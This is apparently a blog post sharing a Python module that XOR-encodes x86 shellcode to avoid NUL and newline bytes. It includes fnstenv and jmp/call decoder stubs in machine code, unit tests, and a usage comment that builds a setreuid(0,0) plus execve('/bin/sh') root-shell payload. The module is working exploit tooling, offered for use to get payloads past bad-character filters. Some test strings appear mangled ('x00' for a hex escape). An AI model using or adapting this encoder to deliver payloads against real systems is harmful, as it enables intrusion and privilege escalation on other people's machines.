At the moment, the package only sports two encoders: fnstenv and jmp/call encoders. Both are classic xor encoders. Hope you find it useful.

`

# Shellcode encoder to avoid NUL or special characters
#
# egg = inlineegg.InlineEgg(inlineegg.Linuxx86Syscall)
# egg.setreuid(0, 0)
# egg.execve('/bin/sh', ('/bin/sh', '-i'))
# shellcode = egg.getCode()
# encoder = FnstenvXorEncoder()
# bytes = encoder.encode(shellcode)
# shellcode = ''.join(chr(x) for x in bytes)
#
# if encode() raises EncoderError, if may be due to your shellcode's length is
# divisible by 256. Putting in a NOP and try again.
#
# Copyright 2007 Nam T. Nguyen, distributed under the BSD license

import types
import unittest

class EncoderError(Exception):
    pass

class Encoder(object):

    def encode(self, payload):
        return payload

class XorEncoder(Encoder):

    def __init__(self, disallowed_chars=(0x00, 0x0D, 0x0A)):
        self._disallowed_chars = set(disallowed_chars)
        self._usable_chars = set(range(256)) - self._disallowed_chars

    def _get_supported_register_sets(self):
        return []

    def _get_register_set(self, register_set):
        return {}

    def _get_header(self):
        return []

    def _get_payload_size_position(self):
        raise NotImplementedError()

    def _get_xor_key_position(self):
        raise NotImplementedError()

    def _encode_payload(self, payload, register_sets):
        buffer = []
        if isinstance(payload, types.StringTypes):
            buffer.extend(ord(x) & 0xFF for x in payload)
        else:
            buffer.extend(payload)

        for c in self._usable_chars:
            ret = buffer[:]
            for i in range(len(ret)):
                ret[i] = ret[i] ^ c
                if ret[i] in self._disallowed_chars:
                    # break inner for
                    break
            else:
                self._xor_key = c
                # break outer for
                break
        else:
            raise EncoderError('cannot encode')

        return ret

    def _prefix_header(self, payload, register_sets):
        ret = self._get_header()

        payload_len = 0x10000 - len(payload)
        payload_size_pos = self._get_payload_size_position()
        ret[payload_size_pos] = payload_len & 0xFF
        ret[payload_size_pos + 1] = (
            (payload_len & 0xFF00) >> 8)

        xor_key_pos = self._get_xor_key_position()
        for reg_set in register_sets:
            for pos, value in self._get_register_set(reg_set).iteritems():
                ret[pos] = value
            for i, c in enumerate(ret):
                if (c in self._disallowed_chars) and (
                    i != xor_key_pos):
                    # break the inner for
                    break
            else:
                # break the outter for
                break
        else:
            raise EncoderError('cannot encode')

        ret[xor_key_pos] = self._xor_key
        ret.extend(payload)

        return ret

    def encode(self, payload, register_sets=[]):
        """Encode payload.

        :param payload: the payload, either a string or a sequence of bytes
        :param register_sets: a sequence of registers to try in shellcode
        header. Sample names include 'eax', 'edx', and 'ebx'.
        :return: a sequence of encoded bytes
        """
        if len(payload) == 0:
            return []

        if len(payload) > 65535:
            raise EncoderError('cannot encode')

        if not self._usable_chars:
            raise EncoderError('cannot encode')

        if not register_sets:
            register_sets = self._get_supported_register_sets()

        encoded_payload = self._encode_payload(payload, register_sets)
        ret = self._prefix_header(encoded_payload, register_sets)

        return ret

    def encode_to_string(self, payload, register_sets=[]):
        """Encode payload. Return a string.

        :see: encode
        """
        return ''.join(chr(x) for x in self.encode(payload, register_sets))

class FnstenvXorEncoder(XorEncoder):
    """Fnstenv Xor based on

http://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm."""

    HEADER = [
        0xD9, 0xE1,                    # fabs
        0xD9, 0x34, 0x24,              # fnstenv [esp]
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x5A,                          # pop edx
        0x80, 0xEA, 0xE7,              # sub dl,-25     (offset to payload)
        0x31, 0xC9,                    # xor ecx,ecx
        0x66, 0x81, 0xE9, 0xA1, 0xFE,  # sub cx,-0x15F  (0x15F is size of payload)
        0x80, 0x32, 0x99,              # decode: xor byte [edx],0x99
        0x42,                          # inc edx
        0xE2, 0xFA,                    # loop decode
        # payload goes here
    ]

    REGISTER_SET = {
        'edx' : {5: 0x5A, 6: 0x5A, 7: 0x5A, 8: 0x5A, 9: 0x80, 10: 0xEA,
                 20: 0x32, 22: 0x42},
        'eax' : {5: 0x58, 6: 0x58, 7: 0x58, 8: 0x58, # 9: 0x90, 10: 0x2C,
                 9: 0x80, 10: 0xE8,
                 20: 0x30, 22: 0x40},
        'ebx' : {5: 0x5B, 6: 0x5B, 7: 0x5B, 8: 0x5B, 9: 0x80, 10: 0xEB,
                 20: 0x33, 22: 0x43},
    }

    XOR_KEY_POSITION = 21

    PAYLOAD_SIZE_POSITION = 17         # 17 and 18

    def _get_supported_register_sets(self):
        return FnstenvXorEncoder.REGISTER_SET.keys()

    def _get_register_set(self, register_set):
        return FnstenvXorEncoder.REGISTER_SET[register_set]

    def _get_header(self):
        return FnstenvXorEncoder.HEADER[:]

    def _get_payload_size_position(self):
        return FnstenvXorEncoder.PAYLOAD_SIZE_POSITION

    def _get_xor_key_position(self):
        return FnstenvXorEncoder.XOR_KEY_POSITION

class JumpCallXorEncoder(XorEncoder):
    HEADER = [
        0xeb, 0x10,                    # jmp getdata
        0x5b,                          # begin: pop ebx
        0x31, 0xc9,                    # xor ecx, ecx
        0x66, 0x81, 0xe9, 0xa1, 0xfe,  # sub cx, -0x15F
        0x80, 0x33, 0x99,              # decode: xor byte[ebx], 0x99
        0x43,                          # inc ebx
        0xe2, 0xfa,                    # loop decode
        0xeb, 0x05,                    # jmp payload
        0xe8, 0xeb, 0xff, 0xff, 0xff,  # getdata: call begin
        # payload goes here            # payload:
    ]

    REGISTER_SET = {
        'eax': {2: 0x58, 11: 0x30, 13: 0x40},
        'ebx': {2: 0x5b, 11: 0x33, 13: 0x43},
        'edx': {2: 0x5a, 11: 0x32, 13: 0x42},
    }

    XOR_KEY_POSITION = 12

    PAYLOAD_SIZE_POSITION = 8

    def _get_header(self):
        return JumpCallXorEncoder.HEADER[:]

    def _get_supported_register_sets(self):
        return JumpCallXorEncoder.REGISTER_SET.keys()

    def _get_register_set(self, register_set):
        return JumpCallXorEncoder.REGISTER_SET[register_set]

    def _get_payload_size_position(self):
        return JumpCallXorEncoder.PAYLOAD_SIZE_POSITION

    def _get_xor_key_position(self):
        return JumpCallXorEncoder.XOR_KEY_POSITION

class TestFnstenvXorEncoder(unittest.TestCase):

    def testEmptyShellcode(self):
        encoder = FnstenvXorEncoder()
        self.assertEqual([], encoder.encode(""))

    def testRegisterSet(self):
        encoder = FnstenvXorEncoder()
        ret = encoder.encode("x00", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x01, 0x42, 0xe2,
                               0xfa, 0x01])
        ret = encoder.encode("x00", ['eax'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x58, 0x58, 0x58,
                               0x58, 0x80, 0xe8, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x30, 0x01, 0x40, 0xe2,
                               0xfa, 0x01])
        ret = encoder.encode("x00", ['ebx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5b, 0x5b, 0x5b,
                               0x5b, 0x80, 0xeb, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x33, 0x01, 0x43, 0xe2,
                               0xfa, 0x01])
        self.assertRaises(KeyError, encoder.encode, "x00", ['regset'])

    def testDisallowedCharsInHeader(self):
        encoder = FnstenvXorEncoder(range(256))
        self.assertRaises(EncoderError, encoder.encode, "x7F")
        encoder = FnstenvXorEncoder([0xE1])
        self.assertRaises(EncoderError, encoder.encode, "x00")
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02])
        ret = encoder.encode("x00", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x03, 0x42, 0xe2,
                               0xfa, 0x03])

    def testDisallowedCharsInPayload(self):
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02])
        ret = encoder.encode("x03", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x04, 0x42, 0xe2,
                               0xfa, 0x07])
        encoder = FnstenvXorEncoder([0x00, 0x01, 0x02, 0x04])
        ret = encoder.encode("x03", ['edx'])
        self.assertEqual(ret, [0xd9, 0xe1, 0xd9, 0x34, 0x24, 0x5a, 0x5a, 0x5a,
                               0x5a, 0x80, 0xea, 0xe7, 0x31, 0xc9, 0x66, 0x81,
                               0xe9, 0xFF, 0xFF, 0x80, 0x32, 0x05, 0x42, 0xe2,
                               0xfa, 0x06])

if __name__ == "__main__":
    unittest.main()

`